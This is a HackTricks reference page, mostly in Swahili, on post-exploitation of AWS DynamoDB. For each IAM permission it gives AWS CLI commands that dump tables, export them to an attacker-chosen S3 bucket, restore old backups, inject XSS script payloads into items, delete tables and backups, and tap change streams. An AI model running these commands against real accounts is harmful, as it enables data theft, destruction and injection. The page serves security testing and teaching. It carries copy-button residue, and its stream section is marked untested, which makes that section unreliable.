AWS - DynamoDB Post Exploitation

Support HackTricks

DynamoDB

Kwa maelezo zaidi angalia:

AWS - DynamoDB Enum

dynamodb:BatchGetItem

Mshambulizi mwenye ruhusa hizi ataweza kupata vitu kutoka kwenye meza kwa kutumia ufunguo mkuu (huwezi kuuliza tu data zote za meza). Hii inamaanisha kuwa unahitaji kujua funguo kuu (unaweza kupata hii kwa kupata metadata ya meza (describe-table).

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

Potential Impact: Privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti kwenye jedwali

dynamodb:GetItem

Sawa na ruhusa za awali hii inaruhusu mshambuliaji kusoma maadili kutoka kwenye jedwali moja tu kwa kupewa ufunguo mkuu wa kiingilio cha kurejesha:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

Kwa ruhusa hii pia inawezekana kutumia njia ya transact-get-items kama:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

Athari Zinazowezekana: Privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti kwenye jedwali

dynamodb:Query

Sawa na ruhusa za awali hii inaruhusu mshambuliaji kusoma maadili kutoka kwenye jedwali moja tu kwa kupewa ufunguo mkuu wa ingizo la kurejesha. Inaruhusu kutumia kikundi cha kulinganisha, lakini kulinganisha pekee kunakokubalika na ufunguo mkuu (ambao lazima uwepo) ni "EQ", kwa hivyo huwezi kutumia kulinganisha kupata DB yote katika ombi moja.

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

Potential Impact: Privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti kwenye jedwali

dynamodb:Scan

Unaweza kutumia ruhusa hii kudump jedwali lote kwa urahisi.

aws dynamodb scan --table-name <t_name> #Get data inside the table

Athari Zinawezekana: Privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti kwenye jedwali

dynamodb:PartiQLSelect

Unaweza kutumia ruhusa hii kudump jedwali lote kwa urahisi.

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
Kibali hiki pia huruhusu kutekeleza `batch-execute-statement` kama:
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

lakini unahitaji kubainisha ufunguo mkuu na thamani, kwa hivyo siyo muhimu sana.

Athari Zingine: Kuongezeka kwa upendeleo kwa njia isiyo ya moja kwa moja kwa kupata taarifa nyeti kwenye jedwali

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

Ruhusa hii itamruhusu mshambuliaji kusafirisha jedwali lote kwenda kwenye S3 bucket ya uchaguzi wake:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

Kumbuka kuwa ili hii ifanye kazi, jedwali linahitaji kuwa na point-in-time-recovery imewezeshwa, unaweza kuangalia kama jedwali lina hiyo kwa:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

Ikiwa haijawezeshwa, utahitaji kuwezesha na kwa hilo unahitaji ruhusa ya dynamodb:ExportTableToPointInTime:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

Potential Impact: Privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti kwenye jedwali

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

Kwa ruhusa hizi, mshambuliaji ataweza kuunda jedwali jipya kutoka kwenye nakala rudufu (au hata kuunda nakala rudufu kisha kuirejesha kwenye jedwali tofauti). Kisha, akiwa na ruhusa zinazohitajika, ataweza kuangalia taarifa kutoka kwenye nakala rudufu ambazo huenda hazipo tena kwenye jedwali la uzalishaji.

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Potential Impact: Privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti kwenye nakala ya jedwali

dynamodb:PutItem

Ruhusa hii inaruhusu watumiaji kuongeza kipengee kipya kwenye jedwali au kubadilisha kipengee kilichopo na kipya. Ikiwa kipengee chenye ufunguo mkuu sawa tayari kipo, kipengee chote kitabadilishwa na kipya. Ikiwa ufunguo mkuu haupo, kipengee kipya chenye ufunguo mkuu uliobainishwa kitakuwa kimeundwa.

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Athari Zinawezekana: Udhulumu wa udhaifu zaidi/kupita kwa kuwa na uwezo wa kuongeza/kubadilisha data katika jedwali la DynamoDB

dynamodb:UpdateItem

Ruhusa hii inaruhusu watumiaji kubadilisha sifa zilizopo za kipengee au kuongeza sifa mpya kwa kipengee. Haibadilishi kipengee chote; inasasisha tu sifa zilizotajwa. Ikiwa ufunguo mkuu haupo kwenye jedwali, operesheni itaunda kipengee kipya na ufunguo mkuu uliotajwa na kuweka sifa zilizotajwa katika usemi wa sasisho.

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

Athari Zingine: Udhulumu wa udhaifu zaidi/kupita kwa kuwa na uwezo wa kuongeza/kubadilisha data katika jedwali la DynamoDB

dynamodb:DeleteTable

Mshambulizi mwenye ruhusa hii anaweza kufuta jedwali la DynamoDB, na kusababisha upotevu wa data.

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

Potential impact: Upotevu wa data na usumbufu wa huduma zinazotegemea jedwali lililofutwa.

dynamodb:DeleteBackup

Mshambuliaji mwenye ruhusa hii anaweza kufuta nakala ya akiba ya DynamoDB, na kusababisha upotevu wa data endapo kutatokea hali ya kurejesha data baada ya janga.

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Athari inayowezekana: Upotevu wa data na kutoweza kurejesha kutoka kwenye nakala rudufu wakati wa hali ya kurejesha maafa.

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

TODO: Jaribu kama hii inafanya kazi kweli

Mshambulizi mwenye ruhusa hizi anaweza kuwezesha mkondo kwenye jedwali la DynamoDB, kusasisha jedwali ili kuanza kutiririsha mabadiliko, na kisha kufikia mkondo ili kufuatilia mabadiliko kwenye jedwali kwa wakati halisi. Hii inamruhusu mshambulizi kufuatilia na kutoa data mabadiliko, ambayo inaweza kusababisha uvujaji wa data.

  1. Wezesha mkondo kwenye jedwali la DynamoDB:

bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. Eleza mkondo ili kupata ARN na maelezo mengine:

bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. Pata shard iterator ukitumia stream ARN:

bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. Tumia shard iterator kufikia na kutoa data kutoka kwenye stream:

bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Athari inayowezekana: Ufuatiliaji wa wakati halisi na uvujaji wa data wa mabadiliko ya meza ya DynamoDB.

Support HackTricks

Last updated